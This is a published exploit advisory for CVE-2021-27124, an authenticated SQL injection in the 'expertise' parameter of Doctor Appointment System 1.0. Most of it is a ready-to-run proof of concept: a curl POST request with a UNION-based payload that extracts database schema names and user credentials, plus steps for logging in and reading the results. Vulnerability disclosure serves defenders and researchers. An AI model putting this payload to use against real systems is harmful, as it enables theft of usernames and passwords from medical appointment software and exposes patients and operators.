

Doctor Appointment System 1.0 SQL Injection

Authored by Nakul Ratti, Soham Bakore

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Doctor Appointment System version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2021-27124

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# Exploit Title: Doctor Appointment System 1.0 - Authenticated SQL Injection
# Date: 2021-02-09
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0

Vulnerable File:
-----
http://host/patient/search_result.php

Vulnerable Issue:
-----
Expertise parameter has no input validation

POC:
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1] Login as a normal patient user
2] Insert cookie after successful login in the below command:
curl -i -s -o tmp -k -X $'POST' \
  -H $'Host: 192.168.1.12' -H $'Content-Type:
application/x-www-form-urlencoded' -H $'Content-Length: 288' -H
$'Connection: close' -H $'Cookie: PHPSESSID=b85jccq5ns65d75g69j2uj37hf' -H
$'Upgrade-Insecure-Requests: 1' \
  -b $'PHPSESSID=b85jccq5ns65d75g69j2uj37hf' \
  --data-binary
$'expertise=bone\'+union+select+concat(\'Username-\',username),2,3,(select+(\%40a)+from+(select (\%40a%3a%3d0x00),
(select+(\%40a)+from+(information_schema.schemata)where+(\%40a)in+
(\%40a%3a%3dconcat(\%40a,schema_name,\''<br>\''))a),concat(\'Password\',\'-
\',password),6,7,8,9,10,11,12*from+users%23$submit'
\'
  $'http://host/patient/search_result.php'
3] Check the tmp file for sensitive information from the database.
-----
```

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